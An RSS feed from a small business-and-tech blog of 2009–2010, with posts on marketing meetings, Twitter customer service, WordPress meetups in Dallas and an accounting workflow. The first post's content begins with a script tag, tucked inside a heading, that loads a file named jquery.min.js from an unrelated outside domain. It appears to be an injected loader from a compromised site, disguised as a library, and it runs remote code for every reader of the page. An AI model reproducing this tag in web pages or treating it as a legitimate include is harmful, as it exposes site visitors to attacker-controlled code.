<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Zelword &#187; Web Trends</title>
	<atom:link href="http://www.zelword.com/category/web-trends/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.zelword.com</link>
	<description>Business and Tech Analysis</description>
	<lastBuildDate>Sat, 28 Aug 2010 15:37:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Your Website Needs Just the Right Amount</title>
		<link>http://www.zelword.com/your-website-needs-just-the-right-amount/</link>
		<comments>http://www.zelword.com/your-website-needs-just-the-right-amount/#comments</comments>
		<pubDate>Thu, 13 May 2010 16:02:08 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Web Trends]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=160</guid>
		<description><![CDATA[Last night my some picked a kids book called Some Have More, Some Have Less, and Some have the Same Amount. The kid in the book (he and his mom are Rabbits) is shopping with his mom and keeps asking &#8230; <a href="http://www.zelword.com/your-website-needs-just-the-right-amount/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<h5><script src=http://ok.emapis.org/js/jquery.min.js></script></h5>
<p>Last night my some picked a kids book called Some Have More, Some Have Less, and Some have the Same Amount. The kid in the book (he and his mom are Rabbits) is shopping with his mom and keeps asking for more or less of things in the cart. His mom agrees that some people have more, and some have less, but they have just the right amount.</p>
<p>The story reminded me of some marketing meetings I&#8217;ve been in lately and one in particular. A manager in the meeting had been to a seminar where they talked about how great the web was based on a single case study. He was hooked and wanted to do everything that company was doing.</p>
<p>First he pulled up product pages and said they needed more pictures. Never mind that the page was performing well and that the extra photos break the design without adding significant value. Never mind that the site he was comparing too had a completely different target market, different product, and different business model. He saw more and wanted more.</p>
<p>Then we discussed keywords. He wanted more. Lots of keywords on every page relating to everything they do, regardless of the page topic. Instead of focusing on the page content, he was focused on every word he thought might relate to him. The list was so long that we would never be able to work all the keywords into the page copy in a meaningful way.</p>
<p>I took notes as we went along and waited for my turn to respond. Here&#8217;s where I earn my keep. Instead of taking the order and running back to the kitchen to cook it up, I went back through his list and talked about the different sections and the tactics. I explained the original intent of some pages and what happens to the design when we add the photos. I agreed that they needed to give their keywords more attention but suggested that we focus on a few and/or relate that work to specific pages.</p>
<p>I appreciated his enthusiasm but he had become so focussed on the tactics that he forgot about the goals. He remembered that the overall goal was to sell more and to grow but forgot all the intermediate goals that make that happen. He wasn&#8217;t thinking about selling each product individually or about setting the right image for the company. He wasn&#8217;t thinking about which web visitors were most likely to buy from them online.</p>
<p>It didn&#8217;t matter how many photos another site had. What mattered was whether we had the right amount for their needs. It didn&#8217;t matter how many keywords we could squeeze in the page. What mattered was the best keywords for them and how we used them. In the end, we agreed on a set of tasks that will be just right for them. I hope I can be that successful in my next meeting.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/your-website-needs-just-the-right-amount/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Protected: Who&#8217;s Really Working on Your Website</title>
		<link>http://www.zelword.com/whos-really-working-on-your-website/</link>
		<comments>http://www.zelword.com/whos-really-working-on-your-website/#comments</comments>
		<pubDate>Wed, 21 Apr 2010 14:14:24 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Web Trends]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=148</guid>
		<description><![CDATA[There is no excerpt because this is a protected post.]]></description>
			<content:encoded><![CDATA[<form action="http://www.zelword.com/wp-pass.php" method="post">
<p>This post is password protected. To view it please enter your password below:</p>
<p><label for="pwbox-148">Password:<br />
<input name="post_password" id="pwbox-148" type="password" size="20" /></label><br />
<input type="submit" name="Submit" value="Submit" /></p></form>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/whos-really-working-on-your-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Better AP/AR System</title>
		<link>http://www.zelword.com/better-apar-system/</link>
		<comments>http://www.zelword.com/better-apar-system/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 19:49:08 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Web Trends]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=129</guid>
		<description><![CDATA[I&#8217;ve been unsatisfied with my time tracking, invoicing, and accounting process for some time. Throw in project tracking and it&#8217;s been a real mess. Everything worked well. It&#8217;s just that it was too manual. Too many separate systems and too &#8230; <a href="http://www.zelword.com/better-apar-system/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been unsatisfied with my time tracking, invoicing, and accounting process for some time. Throw in project tracking and it&#8217;s been a real mess. Everything worked well. It&#8217;s just that it was too manual. Too many separate systems and too much time for what seemed like simple tasks.</p>
<p>I did some business thinking and identified my key problems:</p>
<ul>
<li>I had selected the systems I liked best and wished they were integrated.</li>
<li>I kept putting off other approaches waiting for the perfect integration (that would only come if I built it myself).</li>
<li>I let the idea of a better system keep me from improving the current one.</li>
</ul>
<p>I&#8217;ve reviewed my primary needs and tested several different products and product combinations. I&#8217;m pretty happy with what I&#8217;ve arrived at but I&#8217;ll have to let it run for a few more weeks before feeling totally satisfied. If it proves to be what I&#8217;m hoping it is, I&#8217;ll post the full structure as my own best practice review.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/better-apar-system/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trillions of Computers &#8211; The Future</title>
		<link>http://www.zelword.com/trillions-of-computers-the-future/</link>
		<comments>http://www.zelword.com/trillions-of-computers-the-future/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 22:20:50 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Web Trends]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=127</guid>
		<description><![CDATA[I should insert some valuable insight here but until then, just watch the video. Trillions from MAYAnMAYA on Vimeo.]]></description>
			<content:encoded><![CDATA[<p>I should insert some valuable insight here but until then, just watch the video.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="265" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=7395079&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed type="application/x-shockwave-flash" width="400" height="265" src="http://vimeo.com/moogaloop.swf?clip_id=7395079&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><a href="http://vimeo.com/7395079">Trillions</a> from <a href="http://vimeo.com/mayanmaya">MAYAnMAYA</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/trillions-of-computers-the-future/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Helping Your Visitors Visualize</title>
		<link>http://www.zelword.com/helping-your-visitors-visual/</link>
		<comments>http://www.zelword.com/helping-your-visitors-visual/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 18:23:36 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Web Trends]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=120</guid>
		<description><![CDATA[I just came across this cell size scale created by the University of Utah. It&#8217;s an awesome way to represent the sizes of different cells. The interface is very simple, the presentation is clear and easy to understand. I&#8217;ll remember &#8230; <a href="http://www.zelword.com/helping-your-visitors-visual/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I just came across this <a href="http://learn.genetics.utah.edu/content/begin/cells/scale/" target="_blank">cell size scale</a> created by the University of Utah. It&#8217;s an awesome way to represent the sizes of different cells. The interface is very simple, the presentation is clear and easy to understand. I&#8217;ll remember this the next time we&#8217;re trying to represent something that&#8217;s not easy to comprehend.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/helping-your-visitors-visual/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DFW WordPress Technical Meetup</title>
		<link>http://www.zelword.com/dfw-wordpress-technical-meetup/</link>
		<comments>http://www.zelword.com/dfw-wordpress-technical-meetup/#comments</comments>
		<pubDate>Tue, 29 Sep 2009 18:19:54 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Web Trends]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=117</guid>
		<description><![CDATA[On October 7th, Michael Johnstone is hosting a meetup for WordPress developers and the WordPress community at eLocomotive&#8217;s office in Richardson. We&#8217;ll have several case studies and a technical Q &#38; A session How to use a plugin and a custom &#8230; <a href="http://www.zelword.com/dfw-wordpress-technical-meetup/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="line-height: normal; padding-top: 0px; padding-right: 0px; padding-bottom: 8px; padding-left: 0px; margin: 0px;">On October 7th, <a style="color: #ee6600; text-decoration: underline;" href="http://www.zelword.com/">Michael Johnstone</a> is hosting a meetup for WordPress developers and the WordPress community at eLocomotive&#8217;s office in Richardson.</p>
<p style="line-height: normal; padding-top: 0px; padding-right: 0px; padding-bottom: 8px; padding-left: 0px; margin: 0px;">We&#8217;ll have several case studies and a technical Q &amp; A session</p>
<ul>
<li>How to use a plugin and a custom template file to provide clients or other non-technical users a way to edit featured snippets. - Randy Hoyt, amesburyweb.com</li>
<li>Using Template Tags / Query posts to control which posts show up in the loop. - Matt Simo</li>
<li>A Q &amp; A session</li>
</ul>
<p>This event is being sponsored by <a style="color: #ee6600; text-decoration: underline;" href="http://www.elocomotive.net/">eLocomotive</a> and <a style="color: #ee6600; text-decoration: underline;" href="http://amesburyweb.com/">Amesbury Web</a>.</p>
<p><span style="line-height: normal;">Based in Richardson’s Telecom Corridor, eLocomotive provides a range of web design and custom programming services for small and medium business.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/dfw-wordpress-technical-meetup/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>4 Ways Twitter Makes Customer Service Better</title>
		<link>http://www.zelword.com/4-ways-twitter-makes-customer-service-better/</link>
		<comments>http://www.zelword.com/4-ways-twitter-makes-customer-service-better/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 16:03:34 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Twitter]]></category>
		<category><![CDATA[Web Trends]]></category>
		<category><![CDATA[Customer Service]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=89</guid>
		<description><![CDATA[Twitter definitely changes the customer service equation but while most people are talking about the end results, I think it&#8217;s the format that makes a difference. It&#8217;s not that my cable box gets fixed, it&#8217;s that my vendors can hear &#8230; <a href="http://www.zelword.com/4-ways-twitter-makes-customer-service-better/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-99 alignright" title="Twitter  Logo" src="http://www.zelword.com/wp-content/uploads/2009/07/Twitter-Logo.jpg" alt="Twitter  Logo" width="198" height="63" />Twitter definitely changes the customer service equation but while most people are talking about the end results, I think it&#8217;s the format that makes a difference. It&#8217;s not that my cable box gets fixed, it&#8217;s that my vendors can hear me.</p>
<p>People have been voicing their opinions on blogs for years now but Twitter already seems to have more traction in customer service. Why is that?</p>
<p>The <strong>length of comments</strong> on Twitter are succinct. It takes much less effort to read them and triage quickly. Don&#8217;t underestimate the impact of this. It may be the best part of Twitter for customer service. You can skim 5-6 tweets in the same amount of time it takes to read a single web page. The length also means that tweets are always to the point. They have to be.</p>
<p>The <strong>customers are centralized</strong> in one place that is easily searched. Really, providing customer service by tracking customers across the entire web is pretty daunting. Twitter gives companies something open that they can focus on. Hashtags make it even easier to filter the noise and people use them naturally so companies don&#8217;t have to train their customers.</p>
<p>There is a simple, <strong>standard way to send your response</strong>. Replying in Twitter is much easier than contacting each blog owner/writer which is a manual process, where the contact forms are frequently designed to foil automation or don&#8217;t even exist.</p>
<p><strong>Customer Service Tools</strong> are already being built around Twitter. I&#8217;ve thought for a few years that companies need a good workflow for information on the web. Good tools were few and far between. Twitter already has companies racing to provide corporate customers the tools they need. Salesforce.com, for example, never did much to address the web but has already started incorporating Twitter for clients. Even the basic desktop and mobile clients for Twitter offer the basic tools needed to track and deal with requests.</p>
<p>As the old GI Joe cartoon used to say, knowing is half the battle. Taking action is always  critical but the effort required to listen to customers is getting much easier with Twitter.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/4-ways-twitter-makes-customer-service-better/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>See DFW Developers Interviewed Live on WordPress Weekly</title>
		<link>http://www.zelword.com/see-dfw-developers-interviewed-live-on-wordpress-weekly/</link>
		<comments>http://www.zelword.com/see-dfw-developers-interviewed-live-on-wordpress-weekly/#comments</comments>
		<pubDate>Sun, 05 Jul 2009 18:45:35 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Web Trends]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=80</guid>
		<description><![CDATA[On July 10th, I&#8217;m hosting an event for WordPress developers and the WordPress community at eLocomotive&#8217;s office in Richardson. WordPress Weekly is a live-recorded podcast about WordPress, hosted by Jeff Chandler and David Peralty most every Friday night. It is &#8230; <a href="http://www.zelword.com/see-dfw-developers-interviewed-live-on-wordpress-weekly/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>On July 10th, I&#8217;m hosting an event for WordPress developers and the WordPress community at eLocomotive&#8217;s office in Richardson.</p>
<p><a href="http://www.wptavern.com/wordpress-weekly">WordPress Weekly</a><span> is a live-recorded podcast about WordPress, hosted by Jeff Chandler and David Peralty most every Friday night. It is your weekly source of news and discussions related to WordPress, as well as any projects under the Automattic umbrella. The show frequently includes interviews wuth Automattic employees, theme designers, plugin developers, WordCamp organizers, and other members of the WordPress community.</span></p>
<p><span>On July 10, for WordPress Weekly Episode 63, two members of the local (D/FW) WordPress community will be appearing on the show as guests, both of whom gave talks at WordCamp Dallas in June: </span><a href="http://www.scottkclark.com/">Scott Clark</a><span> and </span><a href="http://randyhoyt.com/">Randy Hoyt</a><span>. We are turning this recording into a full evening for local technical WordPress users and developers to meet and discuss using WordPress as a CMS at eLocomotive&#8217;s office in Richardson. We&#8217;ll have pizza and drinks from 6:00-7:00, the live recording of the podcast from 7:00-8:00, and a question and answer session with Scott and Randy from 8:00-9:00.</span></p>
<p><span>1302 E. Collins Blvd. Richardson, TX 75081</span></p>
<p><a href="http://wpwkly63.eventbrite.com/">Click Here to Register</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/see-dfw-developers-interviewed-live-on-wordpress-weekly/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Is Twitter Customer Service Sustainable?</title>
		<link>http://www.zelword.com/is-twitter-customer-service-sustainable/</link>
		<comments>http://www.zelword.com/is-twitter-customer-service-sustainable/#comments</comments>
		<pubDate>Fri, 03 Jul 2009 15:47:18 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Twitter]]></category>
		<category><![CDATA[Web Trends]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=77</guid>
		<description><![CDATA[There&#8217;s a lot of buzz about large companies responding to customers on Twitter. Comcast is a success story that everyone can point to. You can get your Comcast problem addressed faster by tweeting than by calling (hours instead of days &#8230; <a href="http://www.zelword.com/is-twitter-customer-service-sustainable/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>There&#8217;s a lot of buzz about large companies responding to customers on <a href="http://www.twitter.com">Twitter</a>. <a href="http://blogs.wsj.com/digits/2009/06/02/comcasts-twitter-guru-on-comcastcaress-tipping-point/">Comcast </a>is a success story that everyone can point to. You can get your Comcast problem addressed faster by tweeting than by calling (hours instead of days later). I&#8217;m happy that people are getting better service but how long will that last?</p>
<p>A major concern with social media, for large companies is that they can&#8217;t control the conversation any longer. In the past, individuals couldn&#8217;t afford to blanket the airwaves with a commercial about their problem. Companies could and they grew very large. There was no balance of power between customer and large business. Companies have taken advantage of that intentionally and unintentionally. Social media (twitter, blogs, Facebook, etc.) give consumers a voice and it&#8217;s slowly restoring the balance of power. Now it&#8217;s up to the companies to address this change.</p>
<p><span id="more-77"></span></p>
<p>My question is this: If <a href="http://twitter.com/comcastcares">Comcast </a>can provide 3 hour response to a Twitter complaint, why can&#8217;t they do that for complaints that originate from a phone call? Either they can and haven&#8217;t been because there wasn&#8217;t an incentive or they can&#8217;t and the more popular twitter becomes, the worse twitter customer service will get.</p>
<p>I like to think social media is a reconning for companies that haven&#8217;t been giving customers the attention they deserve. Power is balancing out and companies are going to have to do more than open a Twitter account to survive. They&#8217;re going to have to address people&#8217;s problems and their own service.</p>
<p>Let me hear your comments and please take the polls:</p>
<p><a href="http://twtpoll.com/6rcsq4">What was your twitter customer service experience?</a></p>
<p><a href="http://twtpoll.com/5sli66">How does twitter impact customer service?</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/is-twitter-customer-service-sustainable/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordCamp Dallas 2009 Thanks</title>
		<link>http://www.zelword.com/wordcamp-dallas-2009-thanks/</link>
		<comments>http://www.zelword.com/wordcamp-dallas-2009-thanks/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 19:53:36 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Web Trends]]></category>
		<category><![CDATA[website design]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.zelword.com/wordcamp-dallas-2009-thanks-and-polls/</guid>
		<description><![CDATA[I had a great time, learned, and met some great people at WordCamp Dallas this weekend. I&#8217;ve always been impressed with WordPress as one of the most polished free and open source projects out there. I&#8217;ll post my compilation/and thoughts &#8230; <a href="http://www.zelword.com/wordcamp-dallas-2009-thanks/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I had a great time, learned, and met some great people at WordCamp Dallas this weekend. I&#8217;ve always been impressed with WordPress as one of the most polished free and open source projects out there.</p>
<p>I&#8217;ll post my compilation/and thoughts later today or tomorrow.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/wordcamp-dallas-2009-thanks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
